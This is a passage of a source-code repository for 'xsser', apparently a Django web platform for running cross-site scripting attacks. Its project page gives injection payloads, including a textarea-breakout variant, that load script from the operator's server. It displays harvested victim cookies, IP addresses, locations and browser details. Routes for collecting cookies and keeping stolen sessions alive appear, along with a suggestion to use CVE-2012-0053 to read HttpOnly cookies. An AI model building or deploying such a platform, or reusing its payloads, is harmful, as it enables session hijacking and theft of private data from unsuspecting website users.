      46 | 47 | {% endblock %} -------------------------------------------------------------------------------- /templates/account/login_form.html: -------------------------------------------------------------------------------- 1 | {% extends "base.html" %} 2 | {% block title %}Login{% endblock %} 3 | {% block cssblock %} 4 | 5 | 6 | {% endblock %} 7 | {% block javascriptblock %} 8 | 9 | 15 | 16 | {% endblock %} 17 | 18 | {% block body %} 19 | 20 | {% include "_nav_bar.html" %} 21 |
      22 | {% include "account/_login_form.html" %} 23 |
      24 | {% endblock %} -------------------------------------------------------------------------------- /templates/account/register_form.html: -------------------------------------------------------------------------------- 1 | {% extends "base.html" %} 2 | {% block title %}Register{% endblock %} 3 | {% block cssblock %} 4 | 5 | 6 | {% endblock %} 7 | {% block javascriptblock %} 8 | 9 | 15 | 16 | {% endblock %} 17 | 18 | {% block body %} 19 | 20 | {% include "_nav_bar.html" %} 21 |
      22 | {% include "account/_register_form.html" %} 23 |
      24 | {% endblock %} -------------------------------------------------------------------------------- /templates/base.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | {% block title %}xsser{% endblock %} 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | {% block cssblock %} 23 | {% endblock %} 24 | 25 | 30 | {% block javascriptblock %} 31 | {% endblock %} 32 | 33 | 34 | 35 | {% block body %} 36 | {% endblock %} 37 | 38 | 44 | 45 | 46 | 47 | -------------------------------------------------------------------------------- /templates/core/create_project.html: -------------------------------------------------------------------------------- 1 | {% extends "base.html" %} 2 | {% block title %}Create project{% endblock %} 3 | 4 | {% block body %} 5 | {% include "_nav_bar.html" %} 6 |
      7 |
      8 |
      9 | {% csrf_token %} 10 |
      11 | 12 |
      13 |
      14 | 15 |
      16 | 17 | 18 |
      19 |
      20 |
      21 | {% endblock %} -------------------------------------------------------------------------------- /templates/core/func_test.html: -------------------------------------------------------------------------------- 1 | {% extends "base.html" %} 2 | {% block title %}Xss test page1 &ppp=1&'"{% endblock %} 3 | 4 | {% block body %} 5 |

      6 |
      7 |
      8 | 9 |
      10 |

      11 |
      12 |
      13 |
      14 | 19 |
      20 | {% endblock %} -------------------------------------------------------------------------------- /templates/core/my_project.html: -------------------------------------------------------------------------------- 1 | {% extends "base.html" %} 2 | {% block title %}My projects{% endblock %} 3 | 4 | {% block body %} 5 | {% include "_nav_bar.html" %} 6 |
      7 |
      8 |

      My projects

      9 | Create project 10 |
      11 |
      12 | {% if not projects %} 13 |

      No projects, you can create a project.

      14 | {% else %} 15 | {% for project in projects reversed %} 16 |
      17 |

      {{ forloop.counter }} 18 |      19 | Title:{{ project.title }} 20 |      21 | Create time:{{ project.create_time|date:"Y-m-d H:i:s" }} 22 |      23 | Cookie number:{{ project.records.all|length }}

      24 |
      25 |
      26 | {% endfor %} 27 | {% endif %} 28 |
      29 |
      30 |
      31 | {% endblock %} -------------------------------------------------------------------------------- /templates/core/project_detail.html: -------------------------------------------------------------------------------- 1 | {% extends "base.html" %} 2 | {% block title %}Project {{ project.title }}{% endblock %} 3 | 4 | {% block body %} 5 | {% include "_nav_bar.html" %} 6 |
      7 |
      8 |
      9 |

      {{ project.title }}

      10 | 11 |

      Create time:{{ project.create_time|date:"Y-m-d H:i:s" }}     12 | 13 | Delete this project     14 | Settings 16 |

      17 |
      18 |
      19 |

      How to use?

      20 | 21 |

      <script src="{{ base_url }}xss/?id={{ project.id }}"</script>

      22 | 23 |

      </textarea>'"><script src="{{ base_url }}xss/?id={{ project.id }}"</script> 24 |

      25 | 26 |

      You can test your code here

      27 |
      28 |
      29 |
      30 |
      31 | {% if not project.records.all %} 32 |

      No cookies

      33 | {% else %} 34 |
      35 | {% for record in records %} 36 |
      37 | 46 |
      47 |
      48 | 49 |

      Title:{{ record.title }}

      50 | 51 |

      Cookie:{{ record.cookie }}

      52 | 53 |

      User agent:{{ record.user_agent }}

      54 | 55 |

      Location:{{ record.location }}

      56 | 57 |

      Top Location:{{ record.top_location }}

      58 | 59 |

      Domain:{{ record.domain }}

      60 | 61 |

      IP:{{ record.ip }}

      62 | 63 |

      Referer:{{ record.referer }}

      64 | 65 |

      Browser:{{ record.browser }}-{{ record.language }} Flash:{{ record.flash }} 66 |

      67 | 68 |

      Screen:{{ record.screen }}

      69 | 70 |

      71 | Delete record

      72 |
      73 |
      74 |
      75 | {% endfor %} 76 |
      77 | {% endif %} 78 |
      79 |
      80 | 81 | 89 |
      90 | 101 | 111 | {% endblock %} 112 | -------------------------------------------------------------------------------- /templates/core/project_settings.html: -------------------------------------------------------------------------------- 1 | {% extends "base.html" %} 2 | {% block title %}Project settings{% endblock %} 3 | 4 | {% block body %} 5 | {% include "_nav_bar.html" %} 6 |
      7 |

      Project {{ project.title }} settings

      8 |
      9 |
      10 |
      11 | {% csrf_token %} 12 | {% if project.keep_session %} 13 |

      Keep session

      14 | {% else %} 15 |

      Keep session

      16 | {% endif %} 17 | {% if project.custom_js %} 18 |

      Use custom js

      19 | {% else %} 20 |

      Use custom js

      21 | {% endif %} 22 | 23 |
      24 | 25 |

      The custom js will replace the origin js, you can click 26 | here to preview.

      27 |

      For example, you can use CVE-2012-0053 to 28 | get cookies with http only flag.

      29 | 30 |

      31 | 32 |

      33 |
      34 | 35 |
      36 |
      37 | {% endblock %} -------------------------------------------------------------------------------- /xsser.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/virusdefender/xsser/7e748af42f53bbe7b6f7be84c70efc289d4b300a/xsser.db -------------------------------------------------------------------------------- /xsser/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/virusdefender/xsser/7e748af42f53bbe7b6f7be84c70efc289d4b300a/xsser/__init__.py -------------------------------------------------------------------------------- /xsser/settings.py: -------------------------------------------------------------------------------- 1 | # Django settings for xsser project. 2 | import os 3 | DEBUG = True 4 | TEMPLATE_DEBUG = DEBUG 5 | 6 | ADMINS = ( 7 | # ('Your Name', 'your_email@example.com'), 8 | ) 9 | 10 | BASE_URL = "http://127.0.0.1:8000/" 11 | 12 | MANAGERS = ADMINS 13 | 14 | DATABASES = { 15 | 'default': { 16 | 'ENGINE': 'django.db.backends.sqlite3', # Add 'postgresql_psycopg2', 'mysql', 'sqlite3' or 'oracle'. 17 | 'NAME': 'xsser.db', # Or path to database file if using sqlite3. 18 | # The following settings are not used with sqlite3: 19 | 'USER': '', 20 | 'PASSWORD': '', 21 | 'HOST': '', # Empty for localhost through domain sockets or '127.0.0.1' for localhost through TCP. 22 | 'PORT': '', # Set to empty string for default. 23 | } 24 | } 25 | 26 | # Hosts/domain names that are valid for this site; required if DEBUG is False 27 | # See https://docs.djangoproject.com/en/1.5/ref/settings/#allowed-hosts 28 | ALLOWED_HOSTS = [] 29 | 30 | # Local time zone for this installation. Choices can be found here: 31 | # http://en.wikipedia.org/wiki/List_of_tz_zones_by_name 32 | # although not all choices may be available on all operating systems. 33 | # In a Windows environment this must be set to your system time zone. 34 | TIME_ZONE = 'Asia/Shanghai' 35 | 36 | # Language code for this installation. All choices can be found here: 37 | # http://www.i18nguy.com/unicode/language-identifiers.html 38 | LANGUAGE_CODE = 'en-us' 39 | 40 | SITE_ID = 1 41 | 42 | # If you set this to False, Django will make some optimizations so as not 43 | # to load the internationalization machinery. 44 | USE_I18N = True 45 | 46 | # If you set this to False, Django will not format dates, numbers and 47 | # calendars according to the current locale. 48 | USE_L10N = True 49 | 50 | # If you set this to False, Django will not use timezone-aware datetimes. 51 | USE_TZ = True 52 | 53 | # Absolute filesystem path to the directory that will hold user-uploaded files. 54 | # Example: "/var/www/example.com/media/" 55 | MEDIA_ROOT = '' 56 | 57 | # URL that handles the media served from MEDIA_ROOT. Make sure to use a 58 | # trailing slash. 59 | # Examples: "http://example.com/media/", "http://media.example.com/" 60 | MEDIA_URL = '' 61 | 62 | # Absolute path to the directory static files should be collected to. 63 | # Don't put anything in this directory yourself; store your static files 64 | # in apps' "static/" subdirectories and in STATICFILES_DIRS. 65 | # Example: "/var/www/example.com/static/" 66 | STATIC_ROOT = '' 67 | 68 | # URL prefix for static files. 69 | # Example: "http://example.com/static/", "http://static.example.com/" 70 | STATIC_URL = '/static/' 71 | 72 | # Additional locations of static files 73 | STATICFILES_DIRS = ( 74 | # Put strings here, like "/home/html/static" or "C:/www/django/static". 75 | # Always use forward slashes, even on Windows. 76 | # Don't forget to use absolute paths, not relative paths. 77 | os.path.join(os.path.dirname(__file__), '../static'), 78 | ) 79 | 80 | # List of finder classes that know how to find static files in 81 | # various locations. 82 | STATICFILES_FINDERS = ( 83 | 'django.contrib.staticfiles.finders.FileSystemFinder', 84 | 'django.contrib.staticfiles.finders.AppDirectoriesFinder', 85 | # 'django.contrib.staticfiles.finders.DefaultStorageFinder', 86 | ) 87 | 88 | # Make this unique, and don't share it with anybody. 89 | SECRET_KEY = 'l%s2hr41!!d85knr63qv8+mu)^cn1v-eqn%0ry^mshfofs26kv' 90 | 91 | # List of callables that know how to import templates from various sources. 92 | TEMPLATE_LOADERS = ( 93 | 'django.template.loaders.filesystem.Loader', 94 | 'django.template.loaders.app_directories.Loader', 95 | # 'django.template.loaders.eggs.Loader', 96 | ) 97 | 98 | MIDDLEWARE_CLASSES = ( 99 | 'django.middleware.common.CommonMiddleware', 100 | 'django.contrib.sessions.middleware.SessionMiddleware', 101 | 'django.middleware.csrf.CsrfViewMiddleware', 102 | 'django.contrib.auth.middleware.AuthenticationMiddleware', 103 | 'django.contrib.messages.middleware.MessageMiddleware', 104 | # Uncomment the next line for simple clickjacking protection: 105 | # 'django.middleware.clickjacking.XFrameOptionsMiddleware', 106 | ) 107 | 108 | ROOT_URLCONF = 'xsser.urls' 109 | 110 | # Python dotted path to the WSGI application used by Django's runserver. 111 | WSGI_APPLICATION = 'xsser.wsgi.application' 112 | 113 | TEMPLATE_DIRS = ( 114 | # Put strings here, like "/home/html/django_templates" or "C:/www/django/templates". 115 | # Always use forward slashes, even on Windows. 116 | # Don't forget to use absolute paths, not relative paths. 117 | os.path.join(os.path.dirname(__file__), '../templates'), 118 | ) 119 | 120 | INSTALLED_APPS = ( 121 | 'django.contrib.auth', 122 | 'django.contrib.contenttypes', 123 | 'django.contrib.sessions', 124 | #'django.contrib.sites', 125 | 'django.contrib.messages', 126 | 'django.contrib.staticfiles', 127 | # Uncomment the next line to enable the admin: 128 | 'django.contrib.admin', 129 | # Uncomment the next line to enable admin documentation: 130 | # 'django.contrib.admindocs', 131 | 'core', 132 | 'account', 133 | ) 134 | 135 | SESSION_SERIALIZER = 'django.contrib.sessions.serializers.JSONSerializer' 136 | 137 | # A sample logging configuration. The only tangible logging 138 | # performed by this configuration is to send an email to 139 | # the site admins on every HTTP 500 error when DEBUG=False. 140 | # See http://docs.djangoproject.com/en/dev/topics/logging for 141 | # more details on how to customize your logging configuration. 142 | LOGGING = { 143 | 'version': 1, 144 | 'disable_existing_loggers': False, 145 | 'filters': { 146 | 'require_debug_false': { 147 | '()': 'django.utils.log.RequireDebugFalse' 148 | } 149 | }, 150 | 'handlers': { 151 | 'mail_admins': { 152 | 'level': 'ERROR', 153 | 'filters': ['require_debug_false'], 154 | 'class': 'django.utils.log.AdminEmailHandler' 155 | } 156 | }, 157 | 'loggers': { 158 | 'django.request': { 159 | 'handlers': ['mail_admins'], 160 | 'level': 'ERROR', 161 | 'propagate': True, 162 | }, 163 | } 164 | } 165 | -------------------------------------------------------------------------------- /xsser/urls.py: -------------------------------------------------------------------------------- 1 | from django.conf.urls import patterns, include, url 2 | 3 | # Uncomment the next two lines to enable the admin: 4 | from django.contrib import admin 5 | admin.autodiscover() 6 | 7 | urlpatterns = patterns('', 8 | # Examples: 9 | # url(r'^$', 'xsser.views.home', name='home'), 10 | # url(r'^xsser/', include('xsser.foo.urls')), 11 | 12 | # Uncomment the admin/doc line below to enable admin documentation: 13 | # url(r'^admin/doc/', include('django.contrib.admindocs.urls')), 14 | 15 | # Uncomment the next line to enable the admin: 16 | url(r'^admin/', include(admin.site.urls)), 17 | url(r'^$', 'core.views.my_projects', name="index"), 18 | url(r'^create_project/$', 'core.views.create_project', name="create_project"), 19 | url(r'^project/$', 'core.views.project_detail', name="project_detail"), 20 | url(r'^project/delete', 'core.views.delete_project', name="delete_project"), 21 | url(r'^record/delete', 'core.views.delete_record', name="delete_record"), 22 | url(r'^xss/$', 'core.views.xss_js', name="xss_js"), 23 | url(r'^get_cookie/$', 'core.views.get_cookie', name="get_cookie"), 24 | url(r'^my_projects/$', 'core.views.my_projects', name="my_projects"), 25 | url(r'^project/settings/(?P\w+)/$', 'core.views.project_settings', name="project_settings"), 26 | url(r'^project/test/', 'core.views.func_test', name="func_test"), 27 | url(r'^project/keep_session/$', 'core.views.keep_session', name="keep_session"), 28 | 29 | url('^login/$', 'account.views.login', name="login"), 30 | url(r'^register/$', 'account.views.register', name="register"), 31 | url(r'^change_password/$', 'account.views.change_password', name="change_password"), 32 | url(r'^logout/$', 'account.views.logout', name="logout"), 33 | 34 | ) 35 | -------------------------------------------------------------------------------- /xsser/wsgi.py: -------------------------------------------------------------------------------- 1 | """ 2 | WSGI config for xsser project. 3 | 4 | This module contains the WSGI application used by Django's development server 5 | and any production WSGI deployments. It should expose a module-level variable 6 | named ``application``. Django's ``runserver`` and ``runfcgi`` commands discover 7 | this application via the ``WSGI_APPLICATION`` setting. 8 | 9 | Usually you will have the standard Django WSGI application here, but it also 10 | might make sense to replace the whole Django WSGI application with a custom one 11 | that later delegates to the Django one. For example, you could introduce WSGI 12 | middleware here, or combine a Django application with an application of another 13 | framework. 14 | 15 | """ 16 | import os 17 | 18 | # We defer to a DJANGO_SETTINGS_MODULE already in the environment. This breaks 19 | # if running multiple sites in the same mod_wsgi process. To fix this, use 20 | # mod_wsgi daemon mode with each site in its own daemon process, or use 21 | # os.environ["DJANGO_SETTINGS_MODULE"] = "xsser.settings" 22 | os.environ.setdefault("DJANGO_SETTINGS_MODULE", "xsser.settings") 23 | 24 | # This application object is used by any WSGI server configured to use this 25 | # file. This includes Django's development server, if the WSGI_APPLICATION 26 | # setting points here. 27 | from django.core.wsgi import get_wsgi_application 28 | application = get_wsgi_application() 29 | 30 | # Apply WSGI middleware here. 31 | # from helloworld.wsgi import HelloWorldApplication 32 | # application = HelloWorldApplication(application) 33 | --------------------------------------------------------------------------------